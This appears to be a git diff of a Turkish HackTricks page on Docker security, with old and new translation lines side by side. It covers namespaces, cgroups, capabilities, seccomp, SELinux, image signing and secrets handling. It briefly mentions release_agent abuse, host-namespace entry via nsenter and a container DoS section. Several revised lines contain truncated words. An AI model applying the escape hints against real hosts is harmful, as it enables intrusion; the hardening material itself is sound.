<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **otomatikleştirilmiş iş akışları** oluşturun.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## **Temel Docker Motoru Güvenliği** ## **Temel Docker Motoru Güvenliği**
**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups**'ını kullanır, temel bir güvenlik katmanı sunar. **Yeteneklerin düşürülmesi**, **Seccomp** ve **SELinux/AppArmor** ile ek koruma sağlanır, konteyner izolasyonu artırılır. Bir **auth eklentisi** kullanıcı eylemlerini daha da kısıtlayabilir. **Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups**'ını kullanır, temel bir güvenlik katmanı sunar. **Yeteneklerin düşürülmesi**, **Seccomp** ve **SELinux/AppArmor** ile ek koruma sağlanır, konteyner izolasyonu artırılır. Bir **auth eklentisi** kullanıcı lemlerini daha da kısıtlayabilir.
![Docker Güvenliği](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) ![Docker Güvenliği](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
@ -32,12 +32,12 @@ Bugün Erişim Alın:
Docker motoruna yerel olarak Unix soketi aracılığıyla veya uzaktan HTTP kullanılarak erişilebilir. Uzaktan erişim için gizlilik, bütünlük ve kimlik doğrulamasını sağlamak için HTTPS ve **TLS** kullanmak önemlidir. Docker motoruna yerel olarak Unix soketi aracılığıyla veya uzaktan HTTP kullanılarak erişilebilir. Uzaktan erişim için gizlilik, bütünlük ve kimlik doğrulamasını sağlamak için HTTPS ve **TLS** kullanmak önemlidir.
Ubuntu sistemlerinde Docker varsayılan olarak `unix:///var/run/docker.sock` üzerinde Unix soketinde dinler. Docker'ın başlangıç seçenekleri `/etc/default/docker` dosyasında tanımlanmıştır. Docker API ve istemciye uzaktan erişimi etkinleştirmek için Docker daemon'ı HTTP soketi üzerinden açmak için aşağıdaki ayarları ekleyin: Ubuntu sistemlerinde Docker varsayılan olarak `unix:///var/run/docker.sock` üzerinde dinler. Docker'ın başlangıç seçenekleri `/etc/default/docker` dosyasında tanımlanmıştır. Docker API ve istemciye uzaktan erişimi etkinleştirmek için Docker daemon'ı HTTP soketi üzerinden açmak için aşağıdaki ayarları ekleyin:
```bash ```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart sudo service docker restart
``` ```
Ancak, Docker daemon'ını HTTP üzerinden açmak güvenlik endişeleri nedeniyle önerilmez. Bağlantıların güvenliğini sağlamak için HTTPS kullanılması tavsiye edilir. Bağlantıyı güvence altına almanın iki temel yaklaşımı vardır: Ancak, Docker daemon'ını HTTP üzerinden açmak güvenlik endişeleri nedeniyle önerilmez. Bağlantıların HTTPS kullanılarak güvence altına alınması tavsiye edilir. Bağlantıyı güvence altına almanın iki temel yaklaşımı vardır:
1. İstemci sunucunun kimliğini doğrular. 1. İstemci sunucunun kimliğini doğrular.
2. Hem istemci hem de sunucu birbirlerinin kimliğini karşılıklı olarak doğrular. 2. Hem istemci hem de sunucu birbirlerinin kimliğini karşılıklı olarak doğrular.
@ -46,15 +46,15 @@ Sertifikalar, bir sunucunun kimliğini doğrulamak için kullanılır. Her iki y
### Konteyner Görüntülerinin Güvenliği ### Konteyner Görüntülerinin Güvenliği
Konteyner görüntüleri ya özel ya da genel depolama alanlarında saklanabilir. Docker, konteyner görüntüleri için birkaç depolama seçeneği sunar: Konteyner görüntüleri ya özel ya da genel depolama alanlarında saklanabilir. Docker, konteyner görüntüleri için çeşitli depolama seçenekleri sunar:
* [**Docker Hub**](https://hub.docker.com): Docker'dan genel bir kayıt servisi. * [**Docker Hub**](https://hub.docker.com): Docker'dan genel bir kayıt servisi.
* [**Docker Registry**](https://github.com/docker/distribution): Kullanıcıların kendi kayıtlarını barındırmasına izin veren açık kaynaklı bir proje. * [**Docker Registry**](https://github.com/docker/distribution): Kullanıcıların kendi kayıtlarını barındırmasına izin veren açık kaynaklı bir proje.
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Rol tabanlı kullanıcı kimlik doğrulaması ve LDAP dizin hizmetleriyle entegrasyon sunan Docker'ın ticari kaydı. * [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Rol tabanlı kullanıcı kimlik doğrulaması ve LDAP dizin hizmetleriyle entegrasyon sunan Docker'ın ticari kayıt sunumu.
### Görüntü Tarama ### Görüntü Tarama
Konteynerler, temel görüntü veya temel görüntü üzerine kurulan yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yaparak ve güvenlik açıklarını listeleyerek çalışan **Nautilus** adlı bir proje üzerinde çalışmaktadır. Nautilus, her Konteyner görüntü katmanını güvenlik açığı havuzunu karşılaştırarak güvenlik açıklarını belirlemek için çalışır. Konteynerler, temel görüntü veya temel görüntü üzerine kurulan yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yaparak ve güvenlik açıklarını listeleyerek çalışan **Nautilus** adlı bir proje üzerinde çalışmaktadır. Nautilus, her Konteyner görüntü katmanını güvenlik açığı havuzunu karşılaştırarak güvenlik açıklarını belirlemek için tarar.
Daha fazla [**bilgi için burayı okuyun**](https://docs.docker.com/engine/scan/). Daha fazla [**bilgi için burayı okuyun**](https://docs.docker.com/engine/scan/).
@ -90,13 +90,13 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
``` ```
### Docker İmaj İmzalama ### Docker İmaj İmzalama
Docker imaj imzalama, konteynerlerde kullanılan imajların güvenliğini ve bütünlüğünü sağlar. İşte özetlenmiş bir açıklama: Docker imaj imzalama, konteynerlerde kullanılan imajların güvenliğini ve bütünlüğünü sağlar. İşte özet bir açıklama:
- **Docker İçerik Güveni**, imza yönetimi için The Update Framework (TUF) üzerine kurulu Notary projesini kullanır. Daha fazla bilgi için [Notary](https://github.com/docker/notary) ve [TUF](https://theupdateframework.github.io) sayfalarına bakabilirsiniz. - **Docker İçerik Güveni**, imza yönetimi için The Update Framework (TUF) tabanlı Notary projesini kullanır. Daha fazla bilgi için [Notary](https://github.com/docker/notary) ve [TUF](https://theupdateframework.github.io) sayfalarına bakabilirsiniz.
- Docker içerik güvenini etkinleştirmek için `export DOCKER_CONTENT_TRUST=1` ayarını yapın. Bu özellik, Docker sürümü 1.10 ve sonrasında varsayılan olarak kapalıdır. - Docker içerik güvenini etkinleştirmek için `export DOCKER_CONTENT_TRUST=1` ayarını yapın. Bu özellik, Docker sürüm 1.10 ve sonrasında varsayılan olarak kapalıdır.
- Bu özellik etkinleştirildiğinde, yalnızca imzalı imajlar indirilebilir. İlk imaj yükleme işlemi, kök ve etiketleme anahtarları için parolaların belirlenmesini gerektirir ve Docker ayrıca gelişmiş güvenlik için Yubikey'i de destekler. Daha fazla ayrıntıya [buradan](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) ulaşabilirsiniz. - Bu özellik etkinleştirildiğinde, yalnızca imzalı imajlar indirilebilir. İlk imaj yükleme işlemi, kök ve etiketleme anahtarları için parola belirlemeyi gerektirir ve Docker ayrıca artırılmış güvenlik için Yubikey'i de destekler. Daha fazla ayrıntıya [buradan](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) ulaşabilirsiniz.
- İçerik güveni etkinleştirilmiş bir imzasız imajı çekmeye çalışmak, "No trust data for latest" hatasıyla sonuçlanır. - İçerik güveni etkinleştirilmiş bir imzasız imajı çekmeye çalışmak, "No trust data for latest" hatası ile sonuçlanır.
- İlk imaj yüklemeden sonra imajı imzalamak için Docker, depo anahtarının parolasını ister. - İlk imaj yükleme işleminden sonra, Docker, imajı imzalamak için depo anahtarının parolasını ister.
Özel anahtarlarınızı yedeklemek için aşağıdaki komutu kullanın: Özel anahtarlarınızı yedeklemek için aşağıdaki komutu kullanın:
```bash ```bash
@ -106,10 +106,10 @@ Docker ana bilgisayarlar arasında geçiş yaparken işlemleri sürdürebilmek i
*** ***
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\
Bugün Erişim Edinin: Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -120,22 +120,22 @@ Bugün Erişim Edinin:
<summary>Konteyner Güvenlik Özelliklerinin Özeti</summary> <summary>Konteyner Güvenlik Özelliklerinin Özeti</summary>
#### Ana İşlem İzolasyon Özellikleri **Ana İşlem İzolasyon Özellikleri**
Konteynerleştirilmiş ortamlarda, projeleri ve işlemleri izole etmek güvenlik ve kaynak yönetimi için hayati önem taşır. İşte temel kavramların basitleştirilmiş bir açıklaması: Konteynerleştirilmiş ortamlarda, projeleri ve işlemleri izole etmek güvenlik ve kaynak yönetimi ısından önemlidir. İşte temel kavramların basitleştirilmiş bir açıklaması:
**Ad Alanları (Namespaces)** **Ad Alanları (Namespaces)**
* **Amaç**: İşlemler, ağ ve dosya sistemleri gibi kaynakların izolasyonunu sağlamak. Özellikle Docker'da, ad alanları bir konteynerin işlemlerini ana bilgisayardan ve diğer konteynerlerden ayırır. * **Amaç**: İşlemler, ağ ve dosya sistemleri gibi kaynakların izolasyonunu sağlamak. Özellikle Docker'da, ad alanları bir konteynerin işlemlerini ana bilgisayardan ve diğer konteynerlerden ayırır.
* **`unshare` Kullanımı**: Yeni ad alanları oluşturmak için `unshare` komutu (veya altta yatan sistem çağrısı) kullanılır, ek bir izolasyon katmanı sağlar. Ancak, Kubernetes bunu doğal olarak engellemezken, Docker engeller. * **`unshare` Kullanımı**: Yeni ad alanları oluşturmak için `unshare` komutu (veya temel sistem çağrısı) kullanılır ve ek bir izolasyon katmanı sağlar. Ancak, Kubernetes bunu doğal olarak engellemezken, Docker engeller.
* **Sınırlama**: Yeni ad alanları oluşturmak, bir işlemin ana bilgisayarın varsayılan ad alanlarına geri dönmesine izin vermez. Ana bilgisayarın ad alanlarına sızabilmek için genellikle ana bilgisayarın `/proc` dizinine erişim sağlamak ve giriş için `nsenter` kullanmak gerekir. * **Sınırlama**: Yeni ad alanları oluşturmak, bir işlemin ana bilgisayarın varsayılan ad alanlarına geri dönmesine izin vermez. Ana bilgisayarın ad alanlarına sızabilmek için genellikle ana bilgisayarın `/proc` dizinine erişim sağlamak ve giriş için `nsenter` kullanmak gerekir.
**Kontrol Grupları (CGroups)** **Kontrol Grupları (CGroups)**
* **Fonksiyon**: İşlemler arasında kaynak tahsisi için başlıca kullanılır. * **Fonksiyon**: İşlemler arasında kaynak tahsisi yapmak için kullanılır.
* **Güvenlik Yönü**: CGroups kendileri izolasyon güvenliği sunmaz, ancak yanlış yapılandırılmışsa `release_agent` özelliği, yetkisiz erişim için potansiyel olarak kötüye kullanılabilir. * **Güvenlik Yönü**: CGroups kendileri izolasyon güvenliği sunmaz, ancak yanlış yapılandırılmışsa `release_agent` özelliği, yetkisiz erişim için potansiyel olarak kötüye kullanılabilir.
**Yetenek Düşürme (Capability Drop)** **Yetenek Düşürme**
* **Önem**: İşlem izolasyonu için kritik bir güvenlik özelliğidir. * **Önem**: İşlem izolasyonu için kritik bir güvenlik özelliğidir.
* **İşlevsellik**: Belirli yetenekleri bırakarak kök işlemin gerçekleştirebileceği eylemleri kısıtlar. Bir işlem kök ayrıcalıklarıyla çalışsa bile, gerekli yeteneklere sahip olmaması nedeniyle ayrıcalıklı eylemleri gerçekleştiremez, çünkü sistem çağrıları yetersiz izinler nedeniyle başarısız olur. * **İşlevsellik**: Belirli yetenekleri bırakarak kök işlemin gerçekleştirebileceği eylemleri kısıtlar. Bir işlem kök ayrıcalıklarıyla çalışsa bile, gerekli yeteneklere sahip olmaması nedeniyle ayrıcalıklı eylemleri gerçekleştiremez, çünkü sistem çağrıları yetersiz izinler nedeniyle başarısız olur.
@ -146,6 +146,8 @@ Bu, işlem diğerlerini bıraktıktan sonra **kalan yeteneklerdir**:
``` ```
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
``` ```
{% endcode %}
**Seccomp** **Seccomp**
Docker'da varsayılan olarak etkindir. **İşlemin çağırabileceği sistem çağrılarını daha da sınırlamaya yardımcı olur**.\ Docker'da varsayılan olarak etkindir. **İşlemin çağırabileceği sistem çağrılarını daha da sınırlamaya yardımcı olur**.\
@ -161,7 +163,7 @@ Bu, yetenekleri, sistem çağrılarını, dosya ve klasörlere erişimi azaltman
### Ad Alanları ### Ad Alanları
**Ad alanları**, Linux çekirdeğinin bir özelliğidir ve **çekirdek kaynaklarını bölümlendirir**, böylece bir **işlem kümesi** bir **kaynak kümesi görürken**, **başka** bir **işlem kümesi** farklı bir **kaynak kümesi** görür. Bu özellik, aynı ad alanına sahip kaynaklar ve işlemler için çalışır, ancak bu ad alanları farklı kaynaklara işaret eder. Kaynaklar birden çok alanda bulunabilir. **Ad alanları**, Linux çekirdeğinin bir özelliğidir ve **çekirdek kaynaklarını bölümlere ayırır**, böylece bir **işlem kümesi** bir **küme kaynağı** görürken **başka** bir **işlem kümesi** farklı bir **kaynak kümesi** görür. Bu özellik, aynı ad alanına sahip kaynaklar ve işlemler kümesi olmasına rağmen, bu ad alanlarının farklı kaynaklara işaret etmesiyle çalışır. Kaynaklar birden çok alanda bulunabilir.
Docker, Konteyner izolasyonunu sağlamak için aşağıdaki Linux çekirdek Ad Alanlarını kullanır: Docker, Konteyner izolasyonunu sağlamak için aşağıdaki Linux çekirdek Ad Alanlarını kullanır:
@ -179,8 +181,8 @@ Docker, Konteyner izolasyonunu sağlamak için aşağıdaki Linux çekirdek Ad A
### cgroups ### cgroups
Linux çekirdek özelliği **cgroups**, bir işlem kümesi arasında **cpu, bellek, io, ağ bant genişliği gibi kaynakları kısıtlama** yeteneği sağlar. Docker, belirli bir Konteyner için kaynak kontrolü sağlayan cgroup özelliğini kullanarak Konteynerler oluşturmanıza izin verir.\ Linux çekirdeği özelliği **cgroups**, bir işlem kümesi arasında **cpu, bellek, io, ağ bant genişliği gibi kaynakları kısıtlama** yeteneği sağlar. Docker, belirli bir Konteyner için kaynak kontrolü sağlayan cgroup özelliğini kullanarak Konteynerler oluşturmanıza izin verir.\
Aşağıda, kullanıcı alanı belleği 500m ile sınırlı, çekirdek belleği 50m ile sınırlı, cpu payı 512, blkioweight 400 olan bir Konteyner oluşturulmuştur. CPU payı, Konteyner'ın CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığa sahiptir. Üç Konteynerin aynı CPU payına (1024) sahip olduğunu varsayarsak, CPU kaynak çatışması durumunda her Konteyner, CPU'nun %33'üne kadar alabilir. blkio-weight, Konteyner'ın IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığa sahiptir. Aşağıda, kullanıcı alanı belleği 500m, çekirdek belleği 50m, cpu payı 512, blkioweight 400 ile sınırlı bir Konteyner oluşturulmuştur. CPU payı, Konteynerin CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığa sahiptir. Üç Konteynerin aynı CPU payına (1024) sahip olduğunu varsayarsak, CPU kaynak çatışması durumunda her Konteyner CPU'nun %33'üne kadar alabilir. blkio-weight, Konteynerin IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığa sahiptir.
``` ```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
``` ```
@ -198,7 +200,7 @@ Daha fazla bilgi için kontrol edin:
### Yetenekler ### Yetenekler
Yetenekler, kök kullanıcı için **izin verilebilecek yetenekler üzerinde daha ince kontrol sağlar**. Docker, **Kullanıcı türünden bağımsız olarak bir Konteyner içinde yapılabilecek işlemleri sınırlamak** için Linux çekirdek yetenek özelliğini kullanır. Yetenekler, kök kullanıcı için **izin verilebilecek yetenekler üzerinde daha ince kontrol sağlar**. Docker, **Kullanıcı türünden bağımsız olarak bir Konteyner içinde yapılabilen işlemleri sınırlamak** için Linux çekirdek yetenek özelliğini kullanır.
Bir docker konteyneri çalıştırıldığında, **işlem, izolasyondan kaçmak için kullanabileceği hassas yetenekleri bırakır**. Bu, işlemin hassas eylemleri gerçekleştiremeyeceğinden ve kaçamayacağından emin olmaya çalışır: Bir docker konteyneri çalıştırıldığında, **işlem, izolasyondan kaçmak için kullanabileceği hassas yetenekleri bırakır**. Bu, işlemin hassas eylemleri gerçekleştiremeyeceğinden ve kaçamayacağından emin olmaya çalışır:
@ -208,7 +210,7 @@ Bir docker konteyneri çalıştırıldığında, **işlem, izolasyondan kaçmak
### Docker'da Seccomp ### Docker'da Seccomp
Bu, Docker'ın içinde kullanılabilecek **sistem çağrılarını sınırlamaya** olanak tanıyan bir güvenlik özelliğidir: Bu, Docker'ın konteyner içinde kullanılabilecek **sistem çağrılarını sınırlamasına izin veren bir güvenlik özelliğidir**:
{% content-ref url="seccomp.md" %} {% content-ref url="seccomp.md" %}
[seccomp.md](seccomp.md) [seccomp.md](seccomp.md)
@ -216,7 +218,7 @@ Bu, Docker'ın içinde kullanılabilecek **sistem çağrılarını sınırlamaya
### Docker'da AppArmor ### Docker'da AppArmor
**AppArmor**, **konteynerleri** bir dizi **kısıtlı kaynağa** ve **programa özel profillere** sınırlamak için bir çekirdek geliştirmesidir: **AppArmor**, **konteynerleri** bir dizi **sınırlı kaynağa** ve **program bazlı profillere** kısıtlamak için bir çekirdek geliştirmesidir.:
{% content-ref url="apparmor.md" %} {% content-ref url="apparmor.md" %}
[apparmor.md](apparmor.md) [apparmor.md](apparmor.md)
@ -225,12 +227,12 @@ Bu, Docker'ın içinde kullanılabilecek **sistem çağrılarını sınırlamaya
### Docker'da SELinux ### Docker'da SELinux
* **Etiketleme Sistemi**: SELinux, her işlem ve dosya sistemi nesnesine benzersiz bir etiket atar. * **Etiketleme Sistemi**: SELinux, her işlem ve dosya sistemi nesnesine benzersiz bir etiket atar.
* **Politika Uygulaması**: Sistem içinde bir işlem etiketinin diğer etiketler üzerinde hangi eylemleri gerçekleştirebileceğini tanımlayan güvenlik politikalarını uygular. * **Politika Uygulaması**: Bir işlem etiketinin sistem içinde diğer etiketler üzerinde hangi eylemleri gerçekleştirebileceğini tanımlayan güvenlik politikalarını uygular.
* **Konteyner İşlem Etiketleri**: Konteyner motorları konteyner işlemlerini başlattığında genellikle sınırlı bir SELinux etiketi olan `container_t` atanır. * **Konteyner İşlem Etiketleri**: Konteyner motorları konteyner işlemlerini başlattığında genellikle sınırlı bir SELinux etiketi olan `container_t` atanır.
* **Konteyner İçindeki Dosya Etiketleme**: Konteyner içindeki dosyalar genellikle `container_file_t` olarak etiketlenir. * **Konteyner İçindeki Dosya Etiketleme**: Konteyner içindeki dosyalar genellikle `container_file_t` olarak etiketlenir.
* **Politika Kuralları**: SELinux politikası, `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşime geçebileceğini sağlar. * **Politika Kuralları**: SELinux politikası, öncelikle `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşime geçebileceğini sağlar.
Bu mekanizma, bir konteyner içindeki bir işlem bile tehlikeye atılmış olsa bile, yalnızca ilgili etiketlere sahip nesnelerle etkileşimde bulunabileceğinden, bu tür tehlikelerden kaynaklanabilecek potansiyel hasarı önemli ölçüde sınırlar. Bu mekanizma, bir konteyner içindeki bir işlem bile tehlikeye düşse bile, yalnızca karşılık gelen etiketlere sahip nesnelerle etkileşime gireceğinden, bu tür tehlikelerden kaynaklanabilecek potansiyel hasarı önemli ölçüde sınırlar.
{% content-ref url="../selinux.md" %} {% content-ref url="../selinux.md" %}
[selinux.md](../selinux.md) [selinux.md](../selinux.md)
@ -251,7 +253,7 @@ Bu bağlamlar, yalnızca kimlik doğrulaması yapılmış kullanıcılardan gele
## Bir konteynerden DoS ## Bir konteynerden DoS
Bir konteynerin kullanabileceği kaynakları doğru bir şekilde sınırlamazsanız, tehlikeye atılmış bir konteyner, çalıştığı ana bilgisayarı DoS edebilir. Bir konteynerin kullanabileceği kaynakları doğru bir şekilde sınırlamazsanız, tehlikeli bir konteyner, çalıştığı ana bilgisayarı DoS'a uğratabilir.
* CPU DoS * CPU DoS
```bash ```bash
@ -279,7 +281,7 @@ Aşağıdaki sayfada **`--privileged` bayrağının ne anlama geldiğini** öğr
#### no-new-privileges #### no-new-privileges
Eğer bir saldırganın düşük ayrıcalıklı bir kullanıcı olarak erişim elde etmeyi başardığı bir konteyner çalıştırıyorsanız ve **hatalı yapılandırılmış suid ikili dosyasına** sahipseniz, saldırgan bunu kötüye kullanabilir ve konteyner içindeki **ayrıcalıkları yükseltebilir**. Bu da ona kaçmasına izin verebilir. Eğer bir saldırganın düşük ayrıcalıklı bir kullanıcı olarak erişim sağladığı bir konteyner çalıştırıyorsanız ve **hatalı yapılandırılmış suid ikili dosyasına** sahipseniz, saldırgan bunu kötüye kullanabilir ve konteynerin içindeki **ayrıcalıkları yükseltebilir**. Bu da ona kaçma imkanı verebilir.
Konteyneri **`no-new-privileges`** seçeneği etkinleştirilmiş olarak çalıştırmak, bu tür ayrıcalık yükseltmelerini **engelleyecektir**. Konteyneri **`no-new-privileges`** seçeneği etkinleştirilmiş olarak çalıştırmak, bu tür ayrıcalık yükseltmelerini **engelleyecektir**.
``` ```
@ -306,11 +308,11 @@ Daha fazla **`--security-opt`** seçeneği için kontrol edin: [https://docs.doc
### Şifreleri Yönetme: En İyi Uygulamalar ### Şifreleri Yönetme: En İyi Uygulamalar
Docker görüntülerine şifreleri doğrudan gömmek veya çevre değişkenlerini kullanmak önemli değildir, çünkü bu yöntemler, `docker inspect` veya `exec` gibi komutlar aracılığıyla konteynıra erişimi olan herkese hassas bilgilerinizi açığa çıkarır. Docker görüntülerine doğrudan şifre gömmek veya çevre değişkenleri kullanmak önemli değildir, çünkü bu yöntemler, `docker inspect` veya `exec` gibi komutlar aracılığıyla konteynıra erişimi olan herkese hassas bilgilerinizi açığa çıkarır.
**Docker birimleri**, hassas bilgilere erişim için önerilen daha güvenli bir alternatiftir. Bunlar, riskleri azaltmak için geçici bir dosya sistemi olarak bellekte kullanılabilir ve `docker inspect` ve günlüğe kaydetme ile ilişkili riskleri hafifletir. Ancak, kök kullanıcılar ve konteynıra `exec` erişimi olanlar hala şifrelere erişebilir. **Docker birimleri** hassas bilgilere erişim için önerilen daha güvenli bir alternatiftir. Bunlar, riskleri azaltmak için geçici bir bellek dosya sistemi olarak kullanılabilir ve `docker inspect` ve günlüğe kaydetme ile ilişkili riskleri hafifletir. Ancak, kök kullanıcılar ve konteynıra `exec` erişimi olanlar hala şifrelere erişebilir.
**Docker secrets**, hassas bilgileri ele almak için daha güvenli bir yöntem sunar. Görüntü oluşturma aşamasında şifreler gerektiren durumlar için, **BuildKit** ek özellikler sunarak görüntü oluşturma hızını artırır ve destekleyen etkili bir çözüm sunar. **Docker secrets** hassas bilgileri ele almak için daha güvenli bir yöntem sunar. Görüntü oluşturma aşamasında şifreler gerektiren durumlar için, **BuildKit** ek özellikler sunarak görüntü oluşturma hızını artırır ve şifrelerin kullanımını sağlar.
BuildKit'i kullanmak için üç şekilde etkinleştirilebilir: BuildKit'i kullanmak için üç şekilde etkinleştirilebilir:
@ -318,11 +320,11 @@ BuildKit'i kullanmak için üç şekilde etkinleştirilebilir:
2. Komutlara önek ekleyerek: `DOCKER_BUILDKIT=1 docker build .` 2. Komutlara önek ekleyerek: `DOCKER_BUILDKIT=1 docker build .`
3. Docker yapılandırmasında varsayılan olarak etkinleştirilerek: `{ "features": { "buildkit": true } }`, ardından bir Docker yeniden başlatma. 3. Docker yapılandırmasında varsayılan olarak etkinleştirilerek: `{ "features": { "buildkit": true } }`, ardından bir Docker yeniden başlatma.
BuildKit, `--secret` seçeneği ile yapı zamanı şifrelerin kullanılmasına izin verir, bu sayede bu şifrelerin görüntü oluşturma önbelleğine veya nihai görüntüye dahil edilmediğinden emin olunur, şu şekilde bir komut kullanılarak: BuildKit, `--secret` seçeneği ile yapı zamanı şifrelerin kullanımına izin verir, bu sayede bu şifrelerin görüntü oluşturma önbelleğine veya nihai görüntüye dahil edilmediğinden emin olunur, şu şekilde bir komut kullanılarak:
```bash ```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file . docker build --secret my_key=my_value ,src=path/to/my_secret_file .
``` ```
Çalışan bir konteyner için gerekli olan sırlar için **Docker Compose ve Kubernetes** sağlam çözümler sunar. Docker Compose, gizli dosyaları belirtmek için hizmet tanımında bir `secrets` anahtarı kullanır. Bu, bir `docker-compose.yml` örneğinde gösterildiği gibi: Çalışan bir konteyner için gerekli olan sırlar için **Docker Compose ve Kubernetes** sağlam çözümler sunar. Docker Compose, gizli dosyaları belirtmek için hizmet tanımında bir `secrets` anahtarını kullanır. Bu, bir `docker-compose.yml` örneğinde gösterildiği gibi:
```yaml ```yaml
version: "3.7" version: "3.7"
services: services:
@ -337,35 +339,36 @@ file: ./my_secret_file.txt
``` ```
Bu yapılandırma, Docker Compose ile hizmetleri başlatırken secrets kullanımına izin verir. Bu yapılandırma, Docker Compose ile hizmetleri başlatırken secrets kullanımına izin verir.
Kubernetes ortamlarında, secrets doğal olarak desteklenir ve [Helm-Secrets](https://github.com/futuresimple/helm-secrets) gibi araçlarla daha fazla yönetilebilir. Kubernetes'in Rol Tabanlı Erişim Kontrolleri (RBAC), Docker Enterprise ile benzer şekilde secret yönetim güvenliğini artırır. Kubernetes ortamlarında, secrets doğal olarak desteklenir ve [Helm-Secrets](https://github.com/futuresimple/helm-secrets) gibi araçlarla daha fazla yönetilebilir. Kubernetes'in Rol Tabanlı Erişim Kontrolleri (RBAC), Docker Enterprise ile benzer şekilde secret yönetimi güvenliğini artırır.
### gVisor ### gVisor
**gVisor**, Go dilinde yazılmış bir uygulama çekirdeğidir ve Linux sistemi yüzeyinin önemli bir kısmını uygular. Uygulama ile ana çekirdek arasında bir **izolasyon sınırı sağlayan** `runsc` adında bir [Open Container Initiative (OCI)](https://www.opencontainers.org) çalışma zamanını içerir. `runsc` çalışma zamanı, Docker ve Kubernetes ile entegre olarak çalışarak sandboxed konteynerlerin çalıştırılmasını kolaylaştırır. **gVisor**, Go dilinde yazılmış bir uygulama çekirdeğidir ve Linux sistemi yüzeyinin önemli bir kısmını uygular. Uygulamanın ve ana çekirdek arasında bir **izolasyon sınırı sağlayan** `runsc` adında bir [Open Container Initiative (OCI)](https://www.opencontainers.org) çalışma zamanını içerir. `runsc` çalışma zamanı, Docker ve Kubernetes ile entegre olup, kum havuzlu konteynerlerin çalıştırılmasını kolaylaştırır.
{% embed url="https://github.com/google/gvisor" %} {% embed url="https://github.com/google/gvisor" %}
### Kata Containers ### Kata Containers
**Kata Containers**, konteynerlere benzer şekilde hissettiren ve performans gösteren hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynak topluluğudur, ancak ikinci bir savunma katmanı olarak donanım sanallaştırma teknolojisini kullanarak **daha güçlü iş yükü izolasyonu sağlar**. **Kata Containers**, konteynerlere benzer şekilde hissedip performans gösteren hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynak topluluğudur, ancak ikinci bir savunma katmanı olarak donanım sanallaştırma teknolojisini kullanarak **daha güçlü iş yükü izolasyonu sağlar**.
{% embed url="https://katacontainers.io/" %} {% embed url="https://katacontainers.io/" %}
### Özet İpuçları ### Özet İpuçları
